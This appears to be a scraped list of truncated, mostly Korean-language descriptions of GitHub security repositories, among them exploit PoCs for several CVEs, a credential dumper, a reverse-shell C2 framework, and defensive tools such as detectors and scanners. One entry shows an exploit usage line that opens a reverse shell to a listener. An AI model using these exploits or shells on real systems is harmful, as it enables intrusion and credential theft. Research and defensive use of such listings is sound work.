Shellcode-Test-Harness

셸코드 테스트 하네스 셸코드 개발을 가속화하기 위해 설계된 경량 테스트 하네스로, 통합 충돌 진단 및 디버그 출력 리디렉션을 제공하는 실행 환경을 제공합니다. 기능 모듈 스톰핑을 통해 셸코드 실행 VEH를 사용하여 충돌 포착: 셸코드가 오류를 일으키면 실패 지점의 레지스터 덤프, 스택 덤프, 코드 덤프를 출력합니다. 실시간 디버그 출력: 셸코드 출력을 가로채어 콘솔에 표시합니다. 내장 16진수 덤프 유틸리티: 디버그 출력 앞에 "HEXDUMP:0xADDR:SIZE"를 붙이면 로더가 자동으로 해당 메모리 범위를 덤프합니다. DL...

CVE-2026-38751

CVE-2026-38751 — OpenSTAManager Module Upload RCE 모듈 업데이트 엔드포인트에서 검증되지 않은 ZIP 업로드를 통한 인증된 RCE. 영향받는 버전: OpenSTAManager = 2.10.x 요구 사항 pip install requests 사용법 Reverse shell Penelope or any listener python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444 Interactive...

send

@fastify/send Send는 파일 시스템에서 파일을 HTTP 응답으로 스트리밍하기 위한 라이브러리로, 부분 응답Ranges, 조건부 GET 협상If-Match, If-Unmodified-Since, If-None-Match, If-Modified-Since, 높은 테스트 커버리지, 그리고 애플리케이션이나 프레임워크에서 적절한 조치를 취하는 데 활용할 수 있는 세분화된 이벤트를 지원합니다. Installation 이 모듈은 npm 레지스트리를 통해 제공되는 Node.js 모듈입니다. 설치 방법은 npm install 명령...

patriot

Patriot 인메모리 은닉 기술의 다양한 종류를 탐지하기 위한 소규모 연구 프로젝트입니다. 최신 릴리스를 여기에서 다운로드하세요. 현재 버전은 다음 탐지를 지원합니다: VirtualProtect 함수를 가리키는 의심스러운 CONTEXT 구조 탐지. Austin Hudson의 연구 및 Foliage와 Cracked5pider의 Ekko를 대상으로 함. 프로세스 할로잉 변종 탐지를 위한 메모리 내 MZ/PE 헤더 검증. 높은 무결성으로 실행되는 백업되지 않은 실행 가능 영역. 모듈 스톰핑/덮어쓰기에 사용된 수정된 코드. 기타 다...

pamspy

pamspy -- Linux용 자격 증명 덤퍼 pamspy는 eBPF 기술을 활용하여 3snake와 동등한 작업을 수행합니다. PAMPluggable Authentication Modules 라이브러리 내의 특정 사용자 공간 함수를 추적합니다. 이 라이브러리는 다음과 같은 중요한 응용 프로그램에서 인증을 처리하는 데 사용됩니다: sudo sshd passwd gnome x11 기타 많은 ... 실행 방법? pamspy는 종속성 없는 정적 바이너리로 빌드되며, 릴리스 페이지에서 사용할 수 있습니다. Usage: pamspy...

AFLplusplus

American Fuzzy Lop plus plus AFL++ 릴리스 버전: 5.03c GitHub 버전: 5.03c 저장소: https://github.com/AFLplusplus/AFLplusplus AFL++는 다음 사람들이 유지보수합니다: Marc "van Hauser" Heuse [email protected] Dominik Maier [email protected] Andrea Fioraldi [email protected] Heiko "hexcoder-" Eissfeldt...

CVE-2026-28672

CVE-2026-28672 — Apache Ranger UnixUserGroupBuilder OS 명령 주입 Apache Ranger의 user-syncunixusersync 모듈에 존재하는 OS 명령 주입에 대한 실행 가능한 개념 증명PoC 재현 코드입니다. 동기화되는 각 사용자의 그룹을 열거하는 동안 UnixUserGroupBuilder는 셸을 통해 id 명령을 실행하며, 명령줄에 username 을 연결합니다: //...

CVE-2024-38473

Apache HTTP Server modproxy 인코딩 문제 PoC Proof of Concept 이 저장소는 Apache HTTP Server 2.4.59 및 이전 버전의 modproxy 모듈에서 발생하는 인코딩 문제를 시연하기 위한 PoCProof of Concept 스크립트를 포함하고 있습니다. 이 취약점은 잘못된 인코딩이 포함된 요청 URL이 백엔드 서비스로 전송되도록 하여, 조작된 요청을 통해 인증을 우회할 가능성이 있습니다. Table of Contents 취약점 설명 설정 및 사용법 중요 고려사항 완화 방법 취약...

CVE-2020-0796

CVE-2020-0796 이것은 CVE-2020-0796 취약점을 스캔하기 위한 Metasploit Auxiliary입니다...

AutoNessus

AutoNessus 이 스크립트는 Nessus API와 통신하여 스캔 자동화를 지원합니다. 스크립트에 전달된 플래그에 따라 모든 스캔 목록, 모든 정책 목록, 스캔 시작, 중지, 일시 중지 및 재개를 수행할 수 있습니다. 클라이언트가 원하는 테스트 기간이 있는 경우 cron 작업/예약 작업을 만들어 스캔 시작 또는 일시 중지를 자동화하는 데 유용할 수 있습니다. 이 코드를 자유롭게 사용하고 수정하십시오. 저희 목적에는 적합하지만 귀하의 환경에는 완벽하지 않을 수 있습니다. 제안이나 개선 사항은 언제든지 환영합니다. 종속성...

insmod_block

insmodblock Linux: - - - - - - - 제작: nu11secur1ty: https://github.com/nu11secur1ty/linux-nu11secur1ty Linux: - - - - - - - 제작: nu11secur1ty: https://gitlab.com/nu11secur1ty/linux-nu11secur1ty txt Linux Kernel security modules by nu11secur1ty GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007...

nGixshell

nGixShell 은 nginx CVE 스캐너이자 RCE 익스플로잇 프레임워크입니다. CVE-2026-42945F5/NVD 기준 CVSS 3.1 8.1 HIGH — ngxhttprewritemodule의 힙 버퍼 오버플로 — 에 대한 개념 증명PoC과 함께, 자동화된 HTTP 프로브, 핑거프린팅, WAF 탐지/우회, 웹 보안 감사, 보고서 생성을 지원하는 64개의 nginx CVE 를 커버하는 스캐너를 제공합니다. 외부 의존성 없음. 순수 Python 3 표준 라이브러리만 사용합니다. 익스플로잇 전제 조건 먼저 읽어보세요...

Android-Imgui-Template

Android ImGui 템플릿 Zygisk + ImGui를 사용하는 Android 메뉴 템플릿입니다. https://github.com/user-attachments/assets/816113d9-611d-4909-a08e-0f4e8ab6d03b 요구 사항 Android NDK r27 ndk;27.0.12077973 로컬 빌드 export ANDROIDNDKHOME=/path/to/ndk/27.0.12077973 $ANDROIDNDKHOME/ndk-build \ NDKPROJECTPATH=app/src/main ...

multi_path

multipath - exploit for p0 issue 1558 CVE-2018-4241 @i41nbeer mptcpusrconnectx는 APMULTIPATH 소켓 패밀리의 connectx 시스템 콜을 위한 핸들러입니다. 이 함수의 로직은 AFINET 또는 AFINET6가 아닌 소스 및 대상 sockaddr을 올바르게 처리하지 못합니다. // verify salen for AFINET: if dst-safamily == AFINET && dst-salen != sizeofmpte-mptedstv4 mptcplogLOGER...

CVE-2020-36109-POC

CVE-2020-36109-POC Feb 13 2021, Altin Thartori, github.com/tin-z 취약점 세부 정보 ASUS RT-AX86U 라우터 펌웨어 9.0.0.4386 미만 버전은 httpd 모듈의 blockingrequest.cgi 함수에 버퍼 오버플로가 존재하며, 공격자가 악성 데이터를 구성하면 코드 실행을 유발할 수 있습니다. 이 취약점은 RT-AX86U뿐만 아니라 httpd 서비스를 사용하는 다른 모델에도 존재합니다. 세부 정보 참고 자료: nist 보고서 cvebase 익스플로잇 세부 정보 이...

CVE-2021-36394-Pre-Auth-RCE-in-Moodle

CVE-2021-36394-Pre-Auth-RCE-in-Moodle 취약점 소개 Moodle은 세계에서 가장 인기 있는 학습 관리 시스템입니다. 몇 분 안에 e러닝 웹사이트를 만들어 보세요! Moodle의 Shibboleth 인증 모듈에서 인증되지 않은 원격 코드 실행 취약점이 존재합니다. 이는 대학에서 널리 사용되어 한 대학의 학생들이 다른 대학에서 인증받고 외부 강좌를 수강하며 다른 사람들과 즐길 수 있도록 합니다. 환경 설정 git clone...

cve-2021-33909

커널 런타임 수정: CVE-2021-33909 이 저장소는 "cve-2021-33909.ko"라는 아웃오브트리 모듈을 빌드합니다. cve-2021-33909는 커널 파일시스템 계층의 문제를 kprobe를 사용하여 취약한 함수를 런타임에 교체함으로써 수정합니다. "make"를 통해 빌드할 수 있으며, KDIR을 커널 소스/헤더 디렉토리로 설정합니다. "insmod cve-2021-33909.ko"로 직접 로드하거나, +depmod를 사용하여 커널 모듈 디렉토리extra/에 복사한 후 "modprobe cve-2021-33909"...

CVE-2022-1329-WordPress-Elementor-3.6.0-3.6.1-3.6.2-Remote-Code-Execution-Exploit

WordPress Plugin - Elementor 3.6.0 3.6.1 3.6.2 Remote Code Execution Google Dork: none Date: April 16 2022 Exploit Author: AkuCyberSec https://github.com/AkuCyberSec Vendor Homepage: https://elementor.com/ Software Link: https://wordpress.org/plugins/elementor/advanced/ scroll down to select the...

ReverseTCPShell

ReverseTCP Shell 프레임워크 | \ | / | \ / | | | | | | | | | | | | | | | | | | | || | | | | | // \ \ / / \ '/ |/ \ | | | | / \ | |/ \ | | | | \ \ /\ V / / | \ \ / | | || | | | | | / | | || \| / || |/|| || |/|| ||||| - By: @ZHacker13 - | Modules | - Show C2-Server Modules. - | Info | - Show...

FreePBX-Vulns-December-25

FreePBX 취약점 - 2025년 12월 이 저장소는 FreePBX의 세 가지 중요 취약점을 탐지하기 위한 Nuclei 템플릿을 포함합니다: CVE-2025-61675 : 인증된 SQL 인젝션 CVSS 8.6 - endpoint 모듈에 영향 CVE-2025-61678 : 인증된 임의 파일 업로드 CVSS 8.6 - endpoint 모듈에 영향 CVE-2025-66039 : 인증 우회 CVSS 9.3 - framework 모듈에 영향 영향을 받는 버전 CVE-2025-61675 및 CVE-2025-61678 endpoint 모...